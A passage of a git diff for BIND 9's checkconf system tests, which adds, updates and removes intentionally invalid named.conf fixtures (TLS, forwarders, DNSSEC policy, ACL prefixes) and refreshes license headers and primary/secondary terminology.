+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	cert-file "cert.pem";
+};
+
+http local-http-server {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
+
+options {
+	listen-on { 10.53.0.1; };
+	http-port 80;
+	https-port 443;
+	http-listener-clients 100;
+	http-streams-per-connection 100;
+	listen-on port 443 tls local-tls http local-http-server { 10.53.0.1; };
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-none.conf b/bin/tests/system/checkconf/bad-dot-none.conf
new file mode 100644
index 0000000000..fa26ab101f
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-none.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# none is reserved for internal use
+tls none {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+options {
+	listen-on port 853 tls none { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-primaries.conf b/bin/tests/system/checkconf/bad-dot-primaries.conf
new file mode 100644
index 0000000000..8958cbe956
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-primaries.conf
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example" {
+	type secondary;
+	primaries { 10.53.0.1 tls undefined; };
+	file "example.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-duplicate-key.conf b/bin/tests/system/checkconf/bad-duplicate-key.conf
index 90e5c6bf0e..17f22370e7 100644
--- a/bin/tests/system/checkconf/bad-duplicate-key.conf
+++ b/bin/tests/system/checkconf/bad-duplicate-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-duplicate-primaries-1.conf b/bin/tests/system/checkconf/bad-duplicate-primaries-1.conf
index cf10157770..3bbabded18 100644
--- a/bin/tests/system/checkconf/bad-duplicate-primaries-1.conf
+++ b/bin/tests/system/checkconf/bad-duplicate-primaries-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-duplicate-primaries-2.conf b/bin/tests/system/checkconf/bad-duplicate-primaries-2.conf
index b7c6f2146f..1d1c6f007f 100644
--- a/bin/tests/system/checkconf/bad-duplicate-primaries-2.conf
+++ b/bin/tests/system/checkconf/bad-duplicate-primaries-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-duplicate-root-key.conf b/bin/tests/system/checkconf/bad-duplicate-root-key.conf
index e7039d623c..1cbc7d4fb8 100644
--- a/bin/tests/system/checkconf/bad-duplicate-root-key.conf
+++ b/bin/tests/system/checkconf/bad-duplicate-root-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-duration.conf b/bin/tests/system/checkconf/bad-duration.conf
new file mode 100644
index 0000000000..1fbecc7229
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-duration.conf
@@ -0,0 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "test" {
+	dnskey-ttl xPT1H;
+};
diff --git a/bin/tests/system/checkconf/bad-empty-include.conf b/bin/tests/system/checkconf/bad-empty-include.conf
new file mode 100644
index 0000000000..ef47166944
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-empty-include.conf
@@ -0,0 +1,14 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "";
diff --git a/bin/tests/system/checkconf/bad-forwarders-dot-badtls-1.conf b/bin/tests/system/checkconf/bad-forwarders-dot-badtls-1.conf
new file mode 100644
index 0000000000..68c1f144ed
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-forwarders-dot-badtls-1.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls test-tls {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+};
+
+# Bad: trying to use a TLS profile that has not been specified (another-tls).
+zone "example" {
+	type forward;
+	forward only;
+	forwarders port 5300 tls test-tls { 10.53.0.1; 10.53.0.2 port 5301 tls another-tls; };
+};
diff --git a/bin/tests/system/checkconf/bad-forwarders-dot-badtls-2.conf b/bin/tests/system/checkconf/bad-forwarders-dot-badtls-2.conf
new file mode 100644
index 0000000000..d95af2d5e5
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-forwarders-dot-badtls-2.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls test-tls {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+};
+
+# Bad: trying to use a TLS profile that has not been specified (another-tls).
+zone "example" {
+	type forward;
+	forward only;
+	forwarders port 5300 tls another-tls { 10.53.0.1; 10.53.0.2 port 5301 tls test-tls; };
+};
diff --git a/bin/tests/system/checkconf/bad-glue-cache-bogus.conf b/bin/tests/system/checkconf/bad-glue-cache-bogus.conf
deleted file mode 100644
index be45bbd81c..0000000000
--- a/bin/tests/system/checkconf/bad-glue-cache-bogus.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	glue-cache bogusvalue;
-};
diff --git a/bin/tests/system/checkconf/bad-hint.conf b/bin/tests/system/checkconf/bad-hint.conf
index a99ddba450..7214a00ed4 100644
--- a/bin/tests/system/checkconf/bad-hint.conf
+++ b/bin/tests/system/checkconf/bad-hint.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-in-view-dup.conf b/bin/tests/system/checkconf/bad-in-view-dup.conf
index dfde12401c..1d8bd17ece 100644
--- a/bin/tests/system/checkconf/bad-in-view-dup.conf
+++ b/bin/tests/system/checkconf/bad-in-view-dup.conf
@@ -1,19 +1,21 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 view a {
-	zone x { type master; file "x"; };
+	zone x { type primary; file "x"; };
 };
 
 view b {
-	zone x { type master; file "x"; };
+	zone x { type primary; file "x"; };
 	zone x { in-view a; };
 };
diff --git a/bin/tests/system/checkconf/bad-inline-options.conf b/bin/tests/system/checkconf/bad-inline-options.conf
index fbbc69c074..f7c62dd6d2 100644
--- a/bin/tests/system/checkconf/bad-inline-options.conf
+++ b/bin/tests/system/checkconf/bad-inline-options.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-inline-secondary.conf b/bin/tests/system/checkconf/bad-inline-secondary.conf
new file mode 100644
index 0000000000..36462161ca
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-inline-secondary.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+ /*
+  * An inline-signing secondary should be forced to have a file option
+  */
+
+  zone "." {
+	  type secondary;
+	  inline-signing yes;
+	  primaries { 10.53.0.1; };
+  };
diff --git a/bin/tests/system/checkconf/bad-inline-slave.conf b/bin/tests/system/checkconf/bad-inline-slave.conf
deleted file mode 100644
index ff283b62cd..0000000000
--- a/bin/tests/system/checkconf/bad-inline-slave.conf
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
- /*
-  * An inline-signing slave should be forced to have a file option
-  */
-
-  zone "." {
-	  type slave;
-	  inline-signing yes;
-	  masters { 10.53.0.1; };
-  };
\ No newline at end of file
diff --git a/bin/tests/system/checkconf/bad-inline-view.conf b/bin/tests/system/checkconf/bad-inline-view.conf
index 364b884ada..e46bd0b7c6 100644
--- a/bin/tests/system/checkconf/bad-inline-view.conf
+++ b/bin/tests/system/checkconf/bad-inline-view.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-interface-interval.conf b/bin/tests/system/checkconf/bad-interface-interval.conf
index f39a7c0e29..ba8341a8cc 100644
--- a/bin/tests/system/checkconf/bad-interface-interval.conf
+++ b/bin/tests/system/checkconf/bad-interface-interval.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-ipv4-prefix-dotted1.conf b/bin/tests/system/checkconf/bad-ipv4-prefix-dotted1.conf
index e07cc839c9..d7604eb8b1 100644
--- a/bin/tests/system/checkconf/bad-ipv4-prefix-dotted1.conf
+++ b/bin/tests/system/checkconf/bad-ipv4-prefix-dotted1.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 acl myacl {
 	127.1; /* Incomplete dotted IPv4 address / prefix */
 };
diff --git a/bin/tests/system/checkconf/bad-ipv4-prefix-dotted2.conf b/bin/tests/system/checkconf/bad-ipv4-prefix-dotted2.conf
index ae098be5d5..cb53741a2a 100644
--- a/bin/tests/system/checkconf/bad-ipv4-prefix-dotted2.conf
+++ b/bin/tests/system/checkconf/bad-ipv4-prefix-dotted2.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 acl myacl {
 	127.1/8; /* No-zero bits */
 };
diff --git a/bin/tests/system/checkconf/bad-ipv4-prefix2.conf b/bin/tests/system/checkconf/bad-ipv4-prefix2.conf
index 4d7738c955..98e724a8b5 100644
--- a/bin/tests/system/checkconf/bad-ipv4-prefix2.conf
+++ b/bin/tests/system/checkconf/bad-ipv4-prefix2.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 acl myacl {
 	127; /* Non-dotted quad IPv4 address (0.0.0.127) / prefix without length. */
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-define-default.conf b/bin/tests/system/checkconf/bad-kasp-define-default.conf
index 65095c4f8e..73c90efe8a 100644
--- a/bin/tests/system/checkconf/bad-kasp-define-default.conf
+++ b/bin/tests/system/checkconf/bad-kasp-define-default.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ dnssec-policy "default" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-define-insecure.conf b/bin/tests/system/checkconf/bad-kasp-define-insecure.conf
index 19ae2d56dd..b2d22d3217 100644
--- a/bin/tests/system/checkconf/bad-kasp-define-insecure.conf
+++ b/bin/tests/system/checkconf/bad-kasp-define-insecure.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ dnssec-policy "insecure" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-define-none.conf b/bin/tests/system/checkconf/bad-kasp-define-none.conf
index 4fc3781699..cea998887a 100644
--- a/bin/tests/system/checkconf/bad-kasp-define-none.conf
+++ b/bin/tests/system/checkconf/bad-kasp-define-none.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ dnssec-policy "none" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "none";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-digest-type.conf b/bin/tests/system/checkconf/bad-kasp-digest-type.conf
new file mode 100644
index 0000000000..f1bd4d3029
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-digest-type.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "bad-digesttype" {
+	cds-digest-types { foobar; 2; };
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+	dnssec-policy "baddigesttype";
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-digest-unsupported.conf b/bin/tests/system/checkconf/bad-kasp-digest-unsupported.conf
new file mode 100644
index 0000000000..bdb8c37a9d
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-digest-unsupported.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "bad-digesttype" {
+	cds-digest-types { GOST; 2; };
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+	dnssec-policy "baddigesttype";
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-duplicate.conf b/bin/tests/system/checkconf/bad-kasp-duplicate.conf
new file mode 100644
index 0000000000..7f3ade6bf8
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-duplicate.conf
@@ -0,0 +1,15 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy a { };
+dnssec-policy a { };
diff --git a/bin/tests/system/checkconf/bad-kasp-inline-signing.conf b/bin/tests/system/checkconf/bad-kasp-inline-signing.conf
new file mode 100644
index 0000000000..178be5e11e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-inline-signing.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * inline-signing is a boolean value.
+ */
+dnssec-policy "inline" {
+	inline-signing never-ever;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+	dnssec-policy "inline";
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-key1.conf b/bin/tests/system/checkconf/bad-kasp-key1.conf
index 628788c349..0bf80deff9 100644
--- a/bin/tests/system/checkconf/bad-kasp-key1.conf
+++ b/bin/tests/system/checkconf/bad-kasp-key1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,7 +18,7 @@ dnssec-policy "badalg" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "badalg";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-key2.conf b/bin/tests/system/checkconf/bad-kasp-key2.conf
index b6f513f18d..8e97e2acb6 100644
--- a/bin/tests/system/checkconf/bad-kasp-key2.conf
+++ b/bin/tests/system/checkconf/bad-kasp-key2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,7 +18,7 @@ dnssec-policy "badalg" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "badalg";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-key3.conf b/bin/tests/system/checkconf/bad-kasp-key3.conf
index 5a93301e45..85e4e48b9e 100644
--- a/bin/tests/system/checkconf/bad-kasp-key3.conf
+++ b/bin/tests/system/checkconf/bad-kasp-key3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,7 +18,7 @@ dnssec-policy "badalg" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "badalg";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-key4.conf b/bin/tests/system/checkconf/bad-kasp-key4.conf
index 785b3ca831..ca142a38ff 100644
--- a/bin/tests/system/checkconf/bad-kasp-key4.conf
+++ b/bin/tests/system/checkconf/bad-kasp-key4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,7 +18,7 @@ dnssec-policy "badalg" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "badalg";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir1.conf b/bin/tests/system/checkconf/bad-kasp-keydir1.conf
deleted file mode 100644
index 5be13a1feb..0000000000
--- a/bin/tests/system/checkconf/bad-kasp-keydir1.conf
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-key "keyforview1" {
-	algorithm "hmac-sha1";
-	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
-};
-
-key "keyforview2" {
-	algorithm "hmac-sha1";
-	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
-};
-
-view "example1" {
-	match-clients { key "keyforview1"; };
-
-	zone "example.net" {
-		type primary;
-		dnssec-policy "default";
-		key-directory ".";
-		file "example1.db";
-	};
-};
-
-view "example2" {
-	match-clients { key "keyforview2"; };
-
